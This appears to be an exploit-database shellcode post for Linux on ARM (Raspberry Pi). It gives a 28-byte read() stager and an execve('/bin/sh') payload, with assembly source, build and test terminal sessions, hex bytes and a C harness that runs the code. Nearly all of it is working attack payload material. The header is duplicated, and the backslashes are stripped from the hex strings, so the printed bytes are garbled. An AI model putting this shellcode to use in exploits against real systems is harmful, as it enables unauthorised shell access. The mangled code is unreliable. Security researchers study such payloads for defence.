Linux ARM read 0 buf 0xff stager execve quot bin sh quot NULL NULL Shellcode

/*
Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)
Date: 2018-08-30
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: /*
Title: Linux/ARM - read(0, buf, 0xff) stager + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)
Date: 2018-08-30
Tested: armv7l (Raspberry Pi 3 Model B+)
Author: Ken Kitahara

pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $ cat binsh.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #7]
mov r7, #0xb
svc #1

spawn:
.ascii "/bin/shX"
pi@raspberrypi:~ $ as -o binsh.o binsh.s && ld -N -o binsh binsh.o
pi@raspberrypi:~ $ ./binsh
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$ exit
pi@raspberrypi:~ $ objcopy -O binary binsh binsh.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' binsh.bin && echo
x01xe0x8fxe2x1exffx2fxe1x02xa0x49x40x52x40xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x58
pi@raspberrypi:~ $ cat stager.s
.section .text
.global _start

_start:
.ARM
add lr, pc, #1
bx lr

.THUMB
// load shellcode into stack region
// read(0, buf, 0xff)
eor r0, r0, r0
mov r1, sp
mov r2, #0xff
mov r7, #3
svc #1

// change to ARM state
eor r7, r7, r7
mov lr, pc
bx lr

.ARM
mov pc, r1
pi@raspberrypi:~ $ as -o stager.o stager.s && ld -N -o stager stager.o
pi@raspberrypi:~ $ (echo -en "x01xe0x8fxe2x1exffx2fxe1x02xa0x49x40x52x40xc2x71x0bx27x01xdfx2fx62x69x6ex2fx73x68x58"; cat) | ./stager
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
exit
^C
pi@raspberrypi:~ $ objcopy -O binary stager stager.bin
pi@raspberrypi:~ $ hexdump -v -e '"\""x" 1/1 "%02x" ""' stager.bin && echo
x01xe0x8fxe2x1exffx2fxe1x40x40x69x46xffx22x03x27x01xdfx7fx40xfex46x70x47x01xf0xa0xe1
pi@raspberrypi:~ $

*/

#include<stdio.h>
#include<string.h>

unsigned char sc[] =
"x01xe0x8fxe2x1exffx2fxe1"
"x40x40x69x46xffx22x03x27"
"x01xdfx7fx40xfex46x70x47"
"x01xf0xa0xe1";

void main()
{
printf("Shellcode Length: %d ", strlen(sc));

int (*ret)() = (int(*)())sc;

ret();
}